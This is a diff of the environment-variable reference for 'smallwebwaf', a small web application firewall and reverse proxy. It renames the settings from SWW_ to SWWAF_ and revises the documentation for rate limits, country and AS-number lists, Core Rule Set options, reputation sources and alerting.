||||
between the two (see "The image's command" below).
|
||||
The settings that start with `SWWAF_` are `servewaf`'s. Those that start with
|
||||
`SWRP_` are `rproxy`'s, and are under "`rproxy`" below. `SMALLWEBWAF_COMMAND`
|
||||
chooses between the two (see "The image's command" below).
|
||||
|
||||
## Forms of values
|
||||
|
||||
@@ -28,336 +28,278 @@ between the two (see "The image's command" below).
|
||||
|
||||
## Core
|
||||
|
||||
- `SWW_LISTEN_ADDR` (default `:8080`): where `discriminator` listens: `:` and a
|
||||
- `SWWAF_LISTEN_ADDR` (default `:8080`): where `servewaf` listens: `:` and a
|
||||
port, such as `:9000`. Leave the host out (see "Ports" in
|
||||
[`SPEC.md`](../SPEC.md)).
|
||||
- `SWW_INSTANCE_NAME` (default: the container's host name): the `instance` name
|
||||
in each line `discriminator` logs, and in each alert and metric, such as
|
||||
`fsn1/discriminator`. Valid UTF-8. No control character while
|
||||
`SWW_ALERT_NTFY_URL` is set. 1 to 48 printable ASCII characters without a
|
||||
space while `SWW_LOG_REMOTE_URL` is set and `SWW_LOG_REMOTE_APP_NAME` is not.
|
||||
- `SWW_MODE` (default `enforce`): `enforce` or `observe`.
|
||||
- `SWW_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6 client's
|
||||
group, from 32 to 128.
|
||||
- `SWW_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a whole
|
||||
- `SWWAF_INSTANCE_NAME` (default: the container's host name): the `instance`
|
||||
name in each line `servewaf` logs, and in each alert and metric, such as
|
||||
`fsn1/servewaf`. Valid UTF-8. No control character while
|
||||
`SWWAF_ALERT_NTFY_URL` is set. 1 to 48 printable ASCII characters without a
|
||||
space while `SWWAF_LOG_REMOTE_URL` is set and `SWWAF_LOG_REMOTE_APP_NAME` is
|
||||
not.
|
||||
- `SWWAF_MODE` (default `enforce`): `enforce` or `observe`.
|
||||
- `SWWAF_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6
|
||||
client's group, from 32 to 128.
|
||||
- `SWWAF_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a whole
|
||||
number above zero.
|
||||
- `SWW_MAX_BANS` (default `5000`): how many of its own bans `discriminator`
|
||||
keeps, a whole number above zero.
|
||||
- `SWWAF_MAX_BANS` (default `5000`): how many of its own bans `servewaf` keeps,
|
||||
a whole number above zero.
|
||||
|
||||
## Tokens
|
||||
|
||||
- `SWW_ADMIN_TOKEN` (default unset): the token for the ban endpoints and
|
||||
`/_sww/clients/<ip>`. At least 32 characters.
|
||||
- `SWW_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At least
|
||||
32 characters.
|
||||
- `SWWAF_ADMIN_TOKEN` (default unset): the token for the ban endpoints and
|
||||
`/_smallwebwaf/clients/<ip>`. At least 32 characters.
|
||||
- `SWWAF_METRICS_TOKEN` (default unset): the token for `/_smallwebwaf/metrics`.
|
||||
At least 32 characters.
|
||||
|
||||
## State files
|
||||
|
||||
- `SWW_STATE_DIR` (default `/var/lib/sww`): the directory of the state files, an
|
||||
absolute path that exists and can be written.
|
||||
- `SWW_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
|
||||
- `SWWAF_STATE_DIR` (default `/var/lib/smallwebwaf`): the directory of the state
|
||||
files, an absolute path that exists and can be written.
|
||||
- `SWWAF_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
|
||||
written after a ban is made, lifted or made permanent. A duration.
|
||||
- `SWW_STATE_COUNTER_INTERVAL` (default `15m`): how often every state file is
|
||||
- `SWWAF_STATE_COUNTER_INTERVAL` (default `15m`): how often every state file is
|
||||
written. A duration.
|
||||
|
||||
## Logging
|
||||
|
||||
- `SWW_LOG_LEVEL` (default `info`): the least severe of `discriminator`'s own
|
||||
- `SWWAF_LOG_LEVEL` (default `info`): the least severe of `servewaf`'s own
|
||||
messages that are written: `debug`, `info`, `warn` or `error`.
|
||||
- `SWW_LOG_REQUEST_HEADERS` (default
|
||||
- `SWWAF_LOG_REQUEST_HEADERS` (default
|
||||
`accept,accept-language,accept-encoding,content-type,origin,range`): the
|
||||
request headers recorded in the log line, in either case. `Host` and
|
||||
`Transfer-Encoding` are refused; the host is the field `host`.
|
||||
- `SWW_LOG_REMOTE_URL` (default unset): a syslog server that also gets every
|
||||
- `SWWAF_LOG_REMOTE_URL` (default unset): a syslog server that also gets every
|
||||
line written to stdout: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://`,
|
||||
each with a host and a port and nothing more.
|
||||
- `SWW_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates that
|
||||
a `syslog+tls` server's certificate must chain to, instead of the host's own.
|
||||
A file that cannot be read, or holds no certificate, is refused.
|
||||
- `SWW_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they wait
|
||||
to be sent, a whole number above zero.
|
||||
- `SWW_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
|
||||
- `SWWAF_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates
|
||||
that a `syslog+tls` server's certificate must chain to, instead of the host's
|
||||
own. A file that cannot be read, or holds no certificate, is refused.
|
||||
- `SWWAF_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they
|
||||
wait to be sent, a whole number above zero.
|
||||
- `SWWAF_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
|
||||
`user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`,
|
||||
`authpriv`, `ftp`, or `local0` to `local7`.
|
||||
- `SWW_LOG_REMOTE_APP_NAME` (default: `SWW_INSTANCE_NAME`): the app name in each
|
||||
syslog record, 1 to 48 printable ASCII characters without a space.
|
||||
- `SWWAF_LOG_REMOTE_APP_NAME` (default: `SWWAF_INSTANCE_NAME`): the app name in
|
||||
each syslog record, 1 to 48 printable ASCII characters without a space.
|
||||
|
||||
## Metrics
|
||||
|
||||
- `SWW_METRICS_TOP_N` (default `50`): how many AS numbers and how many countries
|
||||
get series of their own. A whole number above zero.
|
||||
- `SWWAF_METRICS_TOP_N` (default `50`): how many AS numbers and how many
|
||||
countries get series of their own. A whole number above zero.
|
||||
|
||||
## Static lists
|
||||
|
||||
- `SWW_ALLOW_NETS` (default empty): netblocks you trust, such as your monitoring
|
||||
(see step 4 in [`SPEC.md`](../SPEC.md)).
|
||||
- `SWW_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are
|
||||
- `SWWAF_ALLOW_NETS` (default empty): netblocks you trust, such as your
|
||||
monitoring (see step 3 in [`SPEC.md`](../SPEC.md)).
|
||||
- `SWWAF_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are
|
||||
exempt from rate limiting and the byte limits.
|
||||
- `SWW_DENY_NETS` (default empty): netblocks whose clients are refused (see step
|
||||
4 in [`SPEC.md`](../SPEC.md)).
|
||||
- `SWWAF_DENY_NETS` (default empty): netblocks whose clients are refused (see
|
||||
step 3 in [`SPEC.md`](../SPEC.md)).
|
||||
|
||||
## Request rate limits, per client
|
||||
|
||||
The request past one of these limits is refused, and the client is banned.
|
||||
|
||||
- `SWW_RATE_LIMIT_PER_MINUTE` (default `120`, 2 a second): the most requests a
|
||||
- `SWWAF_RATE_LIMIT_PER_MINUTE` (default `120`, 2 a second): the most requests a
|
||||
client may make in a minute. A count or `off`. The default leaves room for a
|
||||
person opening two pages at once with an empty cache, up to 60 files each.
|
||||
- `SWW_RATE_LIMIT_PER_HOUR` (default `1500`): the most requests a client may
|
||||
person opening two gitea pages at once with an empty cache, up to 60 files
|
||||
each.
|
||||
- `SWWAF_RATE_LIMIT_PER_HOUR` (default `1500`): the most requests a client may
|
||||
make in an hour. A count or `off`. It is the main limit against scrapers. A
|
||||
person reading a site for an hour, a page every 20 seconds, makes about 900. A
|
||||
scraper making one request every 2 seconds makes 1,800 an hour, more than the
|
||||
person reading code in gitea for an hour, a page every 20 seconds, makes
|
||||
about 900. A scraper making one request every 2 seconds makes 1,800 an hour,
|
||||
more than the limit.
|
||||
- `SWWAF_RATE_LIMIT_PER_DAY` (default `6000`): the most requests a client may
|
||||
make in a day. A count or `off`. The default is four hours at the hour limit.
|
||||
A scraper making one request every 10 seconds makes 8,640 a day, more than the
|
||||
limit.
|
||||
- `SWW_RATE_LIMIT_PER_DAY` (default `6000`): the most requests a client may make
|
||||
in a day. A count or `off`. The default is four hours at the hour limit. A
|
||||
scraper making one request every 10 seconds makes 8,640 a day, more than the
|
||||
limit.
|
||||
- A CI runner asks its code forge for work all day and can pass the limits. Put
|
||||
the runners' addresses in `SWW_RATE_LIMIT_EXEMPT_NETS`. Do the same for a
|
||||
- An Actions runner asks gitea for work all day and can pass the limits. Put the
|
||||
runners' addresses in `SWWAF_RATE_LIMIT_EXEMPT_NETS`. Do the same for a
|
||||
network where many people share one address, such as an office.
|
||||
- Counting cannot catch a client that stays under all three limits (see "Request
|
||||
rate limits, per client" in [`SPEC.md`](../SPEC.md)).
|
||||
- `SWW_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from rate
|
||||
limiting and the byte limits, such as `/assets/`.
|
||||
- `SWWAF_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from
|
||||
rate limiting and the byte limits, such as `/assets/`.
|
||||
|
||||
## Byte limits, per client
|
||||
|
||||
These count body bytes, never headers. What the visitor sent over a WebSocket
|
||||
counts as request bytes, and what the app sent as response bytes. The bytes
|
||||
counted for a request and its response are added to the client's total once the
|
||||
response has ended. The request that takes a client's total past a limit is not
|
||||
cut off; the client is banned.
|
||||
|
||||
- `SWW_BYTES_LIMIT_PER_MINUTE` (default `off`), `SWW_BYTES_LIMIT_PER_HOUR`
|
||||
(default `50G`) and `SWW_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes
|
||||
counted for a client in each window, a size or `off`. `SWW_BYTES_COUNT` says
|
||||
which bytes count: response bodies, request bodies or both. The request that
|
||||
passes the limit is not cut off, and the client is banned when its response
|
||||
ends.
|
||||
- `SWW_BYTES_COUNT` (default `both`): what the byte limits and the byte anomaly
|
||||
thresholds count: `response`, the app's response bodies; `request`, the
|
||||
visitors' request bodies; or `both`. What the visitor sent over a WebSocket
|
||||
counts as request bytes, and what the app sent as response bytes.
|
||||
- `SWWAF_BYTES_LIMIT_PER_MINUTE` (default `off`), `SWWAF_BYTES_LIMIT_PER_HOUR`
|
||||
(default `50G`) and `SWWAF_BYTES_LIMIT_PER_DAY` (default `100G`): the most
|
||||
bytes counted for a client in each window. A size or `off`.
|
||||
- `SWWAF_BYTES_COUNT` (default `both`): which body bytes the byte limits count:
|
||||
`response`, `request` or `both`.
|
||||
|
||||
## Lookup of AS number and country
|
||||
|
||||
- `SWW_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off` stops
|
||||
- `SWWAF_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off` stops
|
||||
the start while a setting that needs a lookup is set:
|
||||
- `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES`;
|
||||
- `SWW_ADD_LOOKUP_HEADERS`;
|
||||
- `SWW_TAG_DENY` or `SWW_TAG_LIMIT_PERCENT` naming a `country=` tag, or an
|
||||
`asn=` tag while `SWW_ROUTEWATCH_URL` is unset;
|
||||
- the two byte percentage lists and `SWW_ASN_LIMIT_PERCENT_URL`;
|
||||
- `SWW_UNKNOWN_LIMIT_PERCENT` below `100`;
|
||||
- the two country lists;
|
||||
- `SWWAF_ADD_LOOKUP_HEADERS`;
|
||||
- the four biased threshold lists and `SWWAF_ASN_LIMIT_PERCENT_URL`;
|
||||
- `SWWAF_UNKNOWN_LIMIT_PERCENT` below `100`;
|
||||
- an anomaly threshold per AS number.
|
||||
- `SWW_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in its
|
||||
`.mmdb` form, for `SWW_LOOKUP_SOURCE=file`.
|
||||
- `SWW_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its
|
||||
- `SWWAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in its
|
||||
`.mmdb` form, for `SWWAF_LOOKUP_SOURCE=file`.
|
||||
- `SWWAF_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its
|
||||
client's first answer from GeoJS, and how long a request to GeoJS may take. A
|
||||
duration; never `off`.
|
||||
- `SWW_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the app
|
||||
- `SWWAF_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the app
|
||||
the client's AS number in `X-Client-ASN` and its country in
|
||||
`X-Client-Country`.
|
||||
|
||||
## Country list
|
||||
## Country lists
|
||||
|
||||
- `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only
|
||||
countries whose clients get through, such as `us,de`. A country whose
|
||||
`country=` tag is in `SWW_TAG_DENY` stops the start.
|
||||
|
||||
## Request tags
|
||||
|
||||
Every request gets tags from what `discriminator` knows of its client. See
|
||||
"Request tags" in [`SPEC.md`](../SPEC.md).
|
||||
|
||||
- `SWW_TAG_LISTS` (default empty): address lists that each add a tag, as
|
||||
`name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the
|
||||
tag, and may hold `=`, such as `vpn=mullvad`. Each list is an `http` or
|
||||
`https` URL fetched like a blocklist. A name or URL listed twice is refused.
|
||||
So is a URL that is also in `SWW_BLOCKLIST_URLS`, `SWW_ASN_LIMIT_PERCENT_URL`,
|
||||
or the CrowdSec decision list.
|
||||
- `SWW_TAG_DENY` (default empty): tags whose requests are refused, such as
|
||||
`torexit,country=CN`. A tag listed twice, an `asn=` tag without a number, or a
|
||||
`country=` tag without a country, is refused.
|
||||
- `SWW_TAG_LIMIT_PERCENT` (default empty): tags that lower a client's limits, as
|
||||
tag and percentage pairs, such as `vpn:50,asn=14061:25`. A percentage is from
|
||||
`1` to `99`, of every rate limit and byte limit. The lowest percentage among a
|
||||
client's tags applies. A tag listed twice is refused. So is
|
||||
`exploitsignature`: a request gets that tag after the rate limits have counted
|
||||
it.
|
||||
|
||||
- `SWW_ROUTEWATCH_URL` (default unset): the `http` or `https` URL of a
|
||||
routewatch instance. [routewatch](https://git.eeqj.de/sneak/routewatch) is a
|
||||
service that gives an address's announced netblock and origin AS.
|
||||
`discriminator` asks it about each client, in the background, and adds the
|
||||
tags `asn=<number>` and `prefix=<netblock>` from its answer. While it is
|
||||
unset, nothing asks routewatch and no request gets a `prefix=` tag.
|
||||
|
||||
`SWW_TAG_DENY` and `SWW_TAG_LIMIT_PERCENT` accept tags in either case. A tag
|
||||
that no request can get stops the start. A request can get only these:
|
||||
|
||||
- a name in `SWW_TAG_LISTS`;
|
||||
- an `asn=` or `country=` tag;
|
||||
- a `prefix=` tag with a netblock, while `SWW_ROUTEWATCH_URL` is set. It matches
|
||||
only that exact announced netblock, such as `prefix=192.0.2.0/24`;
|
||||
- a `dnsbl=` tag of a zone in `SWW_DNSBL_ZONES`, in lower case, with a key
|
||||
masked as the `reputation` field shows it;
|
||||
- `abuseipdb`, while `SWW_ABUSEIPDB_KEY` is set;
|
||||
- `exploitsignature`, in `SWW_TAG_DENY` only, while `SWW_RULES_ENABLED` is
|
||||
`true`, or while neither `SWW_WAF_MODE` nor `SWW_WAF_ANOMALY_THRESHOLD` is
|
||||
`off`.
|
||||
|
||||
`crowdsec` stops the start in both settings, because a CrowdSec decision refuses
|
||||
the request first.
|
||||
- `SWWAF_DENIED_COUNTRIES` (default empty): countries whose clients are refused,
|
||||
such as `cn,ru,kp`.
|
||||
- `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only
|
||||
countries whose clients get through, such as `us,de`. A country on both lists
|
||||
stops the start.
|
||||
|
||||
## Biased thresholds
|
||||
|
||||
- `SWW_ASN_BYTES_PERCENT` and `SWW_COUNTRY_BYTES_PERCENT` (default empty): a
|
||||
percentage of the byte limits alone, for the AS numbers or countries listed,
|
||||
such as `AS14061:50` or `cn:25`. It takes the place of the percentage
|
||||
`SWW_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag. An AS number or
|
||||
country listed twice is refused.
|
||||
- `SWW_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client the
|
||||
- `SWWAF_ASN_LIMIT_PERCENT` (default empty): a list of AS numbers, each with `:`
|
||||
and a percentage, such as `AS14061:50,AS16276:50,AS45102:25`. An AS number
|
||||
listed twice is refused.
|
||||
- `SWWAF_COUNTRY_LIMIT_PERCENT` (default empty): the same by country, such as
|
||||
`cn:25,ru:50`.
|
||||
- `SWWAF_ASN_BYTES_PERCENT` and `SWWAF_COUNTRY_BYTES_PERCENT` (default empty):
|
||||
the same, for the byte limits alone.
|
||||
- `SWWAF_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client the
|
||||
lookup cannot place.
|
||||
- `SWW_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of a
|
||||
- `SWWAF_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of a
|
||||
text file with one AS number and percentage on each line, such as
|
||||
`AS64496:50`. Each entry counts like an `asn=` tag in `SWW_TAG_LIMIT_PERCENT`.
|
||||
A URL that is also in `SWW_BLOCKLIST_URLS` is refused.
|
||||
`AS64496:50`. A URL that is also in `SWWAF_BLOCKLIST_URLS` is refused.
|
||||
|
||||
## Attack detection
|
||||
|
||||
- `SWW_RULES_DIR` (default `/etc/sww/rules.d`): the directory of the rule files.
|
||||
- `SWW_RULES_ENABLED` (default `true`): `false` reads no rule file.
|
||||
- `SWW_TRAP_PATHS` (default empty): paths only scanners ask for, such as
|
||||
- `SWWAF_RULES_DIR` (default `/etc/smallwebwaf/rules.d`): the directory of the
|
||||
rule files.
|
||||
- `SWWAF_RULES_ENABLED` (default `true`): `false` reads no rule file.
|
||||
- `SWWAF_TRAP_PATHS` (default empty): paths only scanners ask for, such as
|
||||
`/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`.
|
||||
- `SWW_WAF_MODE` (default `block`): `off`, `detect` or `block`.
|
||||
- `SWW_WAF_PARANOIA_LEVEL` (default `1`): the Core Rule Set's paranoia level,
|
||||
- `SWWAF_WAF_MODE` (default `block`): `off`, `detect` or `block`.
|
||||
- `SWWAF_WAF_PARANOIA_LEVEL` (default `1`): the Core Rule Set's paranoia level,
|
||||
from 1 to 4.
|
||||
- `SWW_WAF_ANOMALY_THRESHOLD` (default `5`): the score at which a request is a
|
||||
- `SWWAF_WAF_ANOMALY_THRESHOLD` (default `5`): the score at which a request is a
|
||||
match. A whole number above zero, or `off`.
|
||||
- `SWW_WAF_DISABLED_RULES` (default
|
||||
- `SWWAF_WAF_DISABLED_RULES` (default
|
||||
`920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules
|
||||
to switch off. Each a whole number above zero. An id from 900000 to 900999 is
|
||||
refused: those are the rules that set the Core Rule Set up, and
|
||||
`smallwebwaf`'s own.
|
||||
- `SWW_WAF_EXEMPT_PATHS` (default empty): path prefixes the Core Rule Set does
|
||||
- `SWWAF_WAF_EXEMPT_PATHS` (default empty): path prefixes the Core Rule Set does
|
||||
not inspect.
|
||||
- `SWW_WAF_BODY_LIMIT` (default `off`): `off`, or how much of a request body the
|
||||
Core Rule Set reads, a size of at most `64K`. A question carries no more of a
|
||||
body than 64 KiB, and the Core Rule Set reads at most 64 KiB less one byte of
|
||||
it, whatever the value (see "The answer" in [`SPEC.md`](../SPEC.md)).
|
||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule Set
|
||||
- `SWWAF_WAF_BODY_LIMIT` (default `off`): `off`, or how much of a request body
|
||||
the Core Rule Set reads, a size of at most `64K`. A question carries no more
|
||||
of a body than 64 KiB, and the Core Rule Set reads at most 64 KiB less one
|
||||
byte of it, whatever the value (see "The answer" in [`SPEC.md`](../SPEC.md)).
|
||||
- `SWWAF_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule Set
|
||||
exclusions, written as Coraza directives. It is loaded before the Core Rule
|
||||
Set's rules, so it holds only `SecAction` and `SecRule` lines that exclude
|
||||
with `ctl:ruleRemoveTargetById` or `ctl:ruleRemoveById`. A file that cannot be
|
||||
read or does not parse stops the start, whatever `SWW_WAF_MODE` is. So does a
|
||||
file that names a number from 900000 to 900999 outside a comment, alone or in
|
||||
a range. So does a directive that removes or changes rules as the file loads,
|
||||
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
|
||||
yet. It has no `_FILE` form.
|
||||
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
|
||||
in a minute from a rule file, a trap path or the Core Rule Set, a count or
|
||||
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
|
||||
read or does not parse stops the start, whatever `SWWAF_WAF_MODE` is. So does
|
||||
a file that names a number from 900000 to 900999 outside a comment, alone or
|
||||
in a range. It has no `_FILE` form.
|
||||
- `SWWAF_ERROR_BURST_THRESHOLD` (default `30`): the most refusals of one client
|
||||
in a minute (see "Attack detection" in `SPEC.md`). A count or `off`.
|
||||
|
||||
## Ban lengths, response and scope
|
||||
|
||||
- `SWW_BAN_RESPONSE` (default `403`): `403`, `429` or `close`.
|
||||
- `SWW_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit. A
|
||||
- `SWWAF_BAN_RESPONSE` (default `403`): `403`, `429` or `close`.
|
||||
- `SWWAF_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit. A
|
||||
duration.
|
||||
- `SWW_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
|
||||
- `SWWAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
|
||||
within which breaking a limit again lengthens the next ban. A duration.
|
||||
- `SWW_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit; one
|
||||
that would be longer is permanent. A duration.
|
||||
- `SWW_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign of
|
||||
- `SWWAF_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit;
|
||||
one that would be longer is permanent. A duration.
|
||||
- `SWWAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign of
|
||||
attack. A duration.
|
||||
- `SWW_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
|
||||
- `SWWAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
|
||||
covers: the prefix length of its netblock, from 0 to 32.
|
||||
|
||||
## Reputation
|
||||
|
||||
- `SWW_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as
|
||||
- `SWWAF_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as
|
||||
`https://www.spamhaus.org/drop/drop.txt`. Each an `http` or `https` URL
|
||||
without a user or a fragment. A URL listed twice is refused.
|
||||
- `SWW_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its last
|
||||
try before it is fetched again. A duration of `1h` or more.
|
||||
- `SWW_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:<percent>` or `log`.
|
||||
- `SWW_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as
|
||||
- `SWWAF_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its
|
||||
last try before it is fetched again. A duration of `1h` or more.
|
||||
- `SWWAF_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:<percent>` or `log`.
|
||||
- `SWWAF_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as
|
||||
`dnsbl.dronebl.org`. Each a DNS name of at most 189 characters. A Spamhaus
|
||||
zone carries its key, as in `<key>.xbl.dq.spamhaus.net`. A zone listed twice
|
||||
is refused, whatever its case or key.
|
||||
- `SWW_DNSBL_RESOLVER` (default unset): the resolver to ask the zones through,
|
||||
- `SWWAF_DNSBL_RESOLVER` (default unset): the resolver to ask the zones through,
|
||||
such as `192.0.2.53` or `[2001:db8::53]:5353`. An IP address with an optional
|
||||
port, 53 when none is given. Unset, the host's resolver is used.
|
||||
- `SWW_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A
|
||||
- `SWWAF_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A
|
||||
control character in it is refused.
|
||||
- `SWW_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence score,
|
||||
- `SWWAF_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence score,
|
||||
from 0 to 100, that is a hit.
|
||||
- `SWW_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a day, a
|
||||
whole number above zero. AbuseIPDB's free accounts may make 1,000.
|
||||
- `SWW_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec engine
|
||||
- `SWWAF_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a day,
|
||||
a whole number above zero. AbuseIPDB's free accounts may make 1,000.
|
||||
- `SWWAF_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec engine
|
||||
you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL without a
|
||||
user or a fragment; its decision list is at `v1/decisions` under it. Set
|
||||
without the key, it is refused. So is a decision list URL that is also in
|
||||
`SWW_BLOCKLIST_URLS`, or that is `SWW_ASN_LIMIT_PERCENT_URL`.
|
||||
- `SWW_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
|
||||
`SWWAF_BLOCKLIST_URLS`, or that is `SWWAF_ASN_LIMIT_PERCENT_URL`.
|
||||
- `SWWAF_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
|
||||
`smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the
|
||||
URL, it is refused.
|
||||
- `SWW_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or
|
||||
- `SWWAF_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or
|
||||
`log`, for DNS blocklist and AbuseIPDB hits.
|
||||
- `SWW_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or
|
||||
- `SWWAF_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or
|
||||
AbuseIPDB's score is used. A duration.
|
||||
- `SWW_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a check
|
||||
with AbuseIPDB may take. A duration.
|
||||
- `SWWAF_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a
|
||||
check with AbuseIPDB may take. A duration.
|
||||
|
||||
## Alerting
|
||||
|
||||
- `SWW_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each alert
|
||||
as a JSON object. An `http` or `https` URL without a user or a fragment.
|
||||
- `SWW_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post, such
|
||||
as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and value. A
|
||||
value cannot hold a comma.
|
||||
- `SWW_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook that
|
||||
receives each alert as a message, checked as the webhook URL is.
|
||||
- `SWW_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each alert,
|
||||
as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked as the
|
||||
webhook URL is.
|
||||
- `SWW_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control
|
||||
- `SWWAF_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each
|
||||
alert as a JSON object. An `http` or `https` URL without a user or a fragment.
|
||||
- `SWWAF_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post,
|
||||
such as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and
|
||||
value. A value cannot hold a comma.
|
||||
- `SWWAF_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook
|
||||
that receives each alert as a message, checked as the webhook URL is.
|
||||
- `SWWAF_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each
|
||||
alert, as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked
|
||||
as the webhook URL is.
|
||||
- `SWWAF_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control
|
||||
character in it is refused.
|
||||
- `SWW_ALERT_EVENTS` (default
|
||||
`ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error`):
|
||||
- `SWWAF_ALERT_EVENTS` (default
|
||||
`ban,permanent_ban,waf_block,anomaly,reputation_hit,source_failure,file_error`):
|
||||
the event types alerts are sent for, from those in [`alerts.md`](alerts.md)
|
||||
but `summary`. Any other name is refused.
|
||||
- `SWW_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its
|
||||
- `SWWAF_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its
|
||||
repeats are held back. A duration or `off`.
|
||||
- `SWW_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour. A
|
||||
- `SWWAF_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour. A
|
||||
whole number above zero, or `off`.
|
||||
|
||||
## Anomaly thresholds
|
||||
|
||||
Each scope has four thresholds: the most requests and the most body bytes
|
||||
counted in a minute and in an hour. The bytes are those `SWW_BYTES_COUNT` names.
|
||||
Requests are counts, bytes are sizes. Each is `off` by default. The four
|
||||
thresholds per client are:
|
||||
Each scope has four thresholds: the most requests and the most bytes counted in
|
||||
a minute and in an hour. Requests are counts, bytes are sizes. Each is `off` by
|
||||
default. The four thresholds per client are:
|
||||
|
||||
- `SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`;
|
||||
- `SWW_ANOMALY_CLIENT_REQUESTS_PER_HOUR`;
|
||||
- `SWW_ANOMALY_CLIENT_BYTES_PER_MINUTE`;
|
||||
- `SWW_ANOMALY_CLIENT_BYTES_PER_HOUR`.
|
||||
